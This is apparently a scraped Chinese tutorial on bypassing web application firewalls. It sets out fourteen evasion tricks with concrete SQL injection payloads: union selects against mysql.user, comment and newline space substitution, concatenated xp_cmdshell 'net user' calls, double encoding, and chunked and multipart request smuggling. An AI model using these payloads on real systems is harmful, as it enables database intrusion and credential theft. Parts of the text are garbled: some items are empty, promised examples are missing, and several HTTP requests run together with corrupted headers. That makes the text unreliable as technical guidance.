介紹:
WAF(Web應(yīng)用防火墻,Web Application Firewall的簡稱)是通過執(zhí)行一系列針對HTTP/HTTPS的安全策略來專門為Web應(yīng)用提供保護(hù)的產(chǎn)品。WAF可以發(fā)現(xiàn)和攔截各類Web層面的攻擊,記錄攻擊日志,實(shí)時(shí)預(yù)警提醒,在Web應(yīng)用本身存在缺陷的情況下保障其安全。但是,WAF不是萬能的、完美的、無懈可擊的,在種種原因下,它們也會有各自的缺陷,不可以盲目相信WAF而不注重自身的安全。
云waf
硬件waf
軟件waf
網(wǎng)站內(nèi)置waf
1.雙寫注入繞過
2.大小寫繞過
3.臟數(shù)據(jù)繞過
即傳入一段長數(shù)據(jù)使waf失效,從而實(shí)現(xiàn)繞過waf。某些waf處理POST的數(shù)據(jù)時(shí),只會檢測開頭的8K,后面選擇全部放過。例如,當(dāng)發(fā)現(xiàn)某網(wǎng)站存在一個反序列化漏洞時(shí),但是無回顯,被waf攔截了利用臟數(shù)據(jù)插入5000個x字符,可以成功繞過:
4.復(fù)參數(shù)繞過(&id=)
GET /pen/news.php?id=1 union select user,password from mysql.userGET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user很多WAF都可以這樣繞,測試最新版WAF能繞過部分語句。
5.高并發(fā)繞過
對請求進(jìn)行并發(fā),攻擊請求會被負(fù)載均衡調(diào)度到不同節(jié)點(diǎn),導(dǎo)致某些請求繞過了waf的攔截
6.特殊字符替換空格
用一些特殊字符代替空格,比如在mysql中%0a是換行,可以代替空格,這個方法也可以部分繞過最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2特殊字符有:mysql:%0a/**/可以繞過最新版本WAF sqlerver:/**//*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5這條語句不行,看一下防護(hù)日志,是因?yàn)榘?/span>uaer函數(shù)加入黑名單啦。替換user即可。
7.使用其他變量或者命令對注入語句進(jìn)行替換
COMMAND | WHAT TO USE INSTEADgroup_concat() | concat_ws()
8.HTTP參數(shù)污染
在 php 語言中 id=1&id=2 后面的值會自動覆蓋前面的值,不同的語言有不同的特性??梢岳眠@點(diǎn)繞過一 些 waf 的攔截。
9.特殊字符拼接(+)
把特殊字符拼接起來繞過WAF的檢測,比如在Mysql中,可以利用注釋/**/來繞過,在mssql中,函數(shù)里面可以用+來拼接如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')可以改為:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
10.數(shù)據(jù)格式混淆
利用數(shù)據(jù)格式解析缺陷,存在兩種提交表單數(shù)據(jù)的請求類型application/x-www-form-urlencodedmultipart/form-data 支持key-Value方式這兩種方式提交數(shù)據(jù)的效果是一樣的。當(dāng)然,除了這種方式外一些其他方式也可能繞過waf,例如將傳入json數(shù)據(jù),將其修改為HTTP請求,或者修改content-type等方式(當(dāng)然是在應(yīng)用能夠正常解析的前提下)
11.編碼繞過
對請求數(shù)據(jù)進(jìn)行編碼,例如url編碼,Unicode編碼等,如果waf對數(shù)據(jù)不能有效解碼,而應(yīng)用后端能夠正常解碼,就可以繞過waf。例如最常見的url編碼,對數(shù)據(jù)進(jìn)行二次url編碼,waf進(jìn)行一次解碼并不能解析到有效的數(shù)據(jù),而后端在進(jìn)行解碼時(shí)傳入的為有效的惡意數(shù)據(jù)。將id=1 and 1=1 寫為 id=1/*!and*/1=1
12.利用WAF本身的功能繞過
例:uni*on+sel*ect+1,2,3,4....假如發(fā)現(xiàn)WAF會把"*"替換為空,那么就可以利用這一特性來進(jìn)行繞過http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....其它方法-15+(union)+(select)….-15+(union+select)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
13.利用http協(xié)議繞過waf
先在數(shù)據(jù)包中添加Transfer-Encoding: chunked數(shù)字代表下一列字符所占位數(shù),最后需要用0獨(dú)占一行表示結(jié)束,結(jié)尾需要兩個回車在頭部加入 Transfer-Encoding: chunked 之后,就代表這個報(bào)文采用了分塊編碼。這時(shí),post請求報(bào)文中的數(shù)據(jù)部分需要改為用一系列分塊來傳輸。每個分塊包含十六進(jìn)制的長度值和數(shù)據(jù),長度值獨(dú)占一行,長度不包括它結(jié)尾的,也不包括分塊數(shù)據(jù)結(jié)尾的,且最后需要用0獨(dú)占一行表示結(jié)束。注意:分塊編碼傳輸需要將關(guān)鍵字and,or,select ,union等關(guān)鍵字拆開編碼,不然仍然會被waf攔截。編碼過程中長度需包括空格的長度。最后用0表示編碼結(jié)束,并在0后空兩行表示數(shù)據(jù)包結(jié)束,不然點(diǎn)擊提交按鈕后會看到一直處于waiting狀態(tài)。Upgrade-Insecure-Requests: Iontent-Type: application/x-www-form-urlencodedhttp協(xié)議是由tcp協(xié)議封裝而來,當(dāng)瀏覽器發(fā)起一個http請求時(shí),瀏覽器先和服務(wù)器建立起連接tcp連接,然后發(fā)送http數(shù)據(jù)包(即用burpsuite截獲的數(shù)據(jù)),其中包含了一個Connection字段,一般值為close,apache等容器根據(jù)這個字段決定是保持該tcp連接或是斷開。當(dāng)發(fā)送的內(nèi)容太大,超過一個http包容量,需要分多次發(fā)送時(shí),值會變成keep-alive,即本次發(fā)起的http請求所建立的tcp連接不斷開,直到所發(fā)送內(nèi)容結(jié)束Connection為close為止。l先關(guān)閉burpsuite長度更新,為get請求,先使用bp的method轉(zhuǎn)換為POST請求lget請求中空格使用%20代替,Connection改為keep-alive點(diǎn)擊burp中Repeater,在下拉選項(xiàng)中取消update Content-Length選中。POST /sqlinject.php Http/1.0User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8Accept-Language: en-US,en:q=0.5Referer:http://127.0.0.1/sqlinjectphp?id=1Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1id=1post/sqlinjeCt.php Http/1.0User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8Accept-Language: en-US, en, q=0.5Referer:http://127.0.0.1/sqlinjectphp?id=1Content-Type: application/x-www-form-urlencodedpgrade-Insecure-Requests: 1然后你會收到兩個返回包,不過這種方法有可能被waf給攔截HTTP頭里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三種,其中multipart/form-data表示數(shù)據(jù)被編碼為一條消息,頁上的每個控件對應(yīng)消息中的一個部分。所以,當(dāng)waf沒有規(guī)則匹配該協(xié)議傳輸?shù)臄?shù)據(jù)時(shí)可被繞過。將頭部Content-Type改為multipart/form-data; boundary=69 然后設(shè)置分割符內(nèi)的Content-Disposition的name為要傳參數(shù)的名稱。數(shù)據(jù)部分則放在分割結(jié)束符上一行。由于是正常數(shù)據(jù)提交,數(shù)據(jù)是能被apache容器正確解析的,嘗試1 and 1=1也會被某狗waf攔截,但如果其他waf沒有規(guī)則攔截這種方式提交的數(shù)據(jù)包,那么同樣能繞過。POST /sQlinJect php Http/1.0User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8Accept-Language: en-US, en: q=0.5Referer:http://127.0.0.1/sqlinject.php?idContent-Type: multipart/form-data; boundary=69Upgrade-Insecure-Requests:1Content-Disposition: form-data; name="id"
14.請求方式轉(zhuǎn)換
過濾了get但是沒有過濾post、cookie。waf默認(rèn)是關(guān)閉的waf 在對危險(xiǎn)字符進(jìn)行檢測的時(shí)候,分別為 post 請求和 get 或者其它的請求方式設(shè)定了不同的匹配規(guī)則,請求被攔截,變 換請求方式有幾率能繞過檢測或者修改為其它允許的方式,例如options, head等提交方式。
該文章在 2023/10/30 10:59:24 編輯過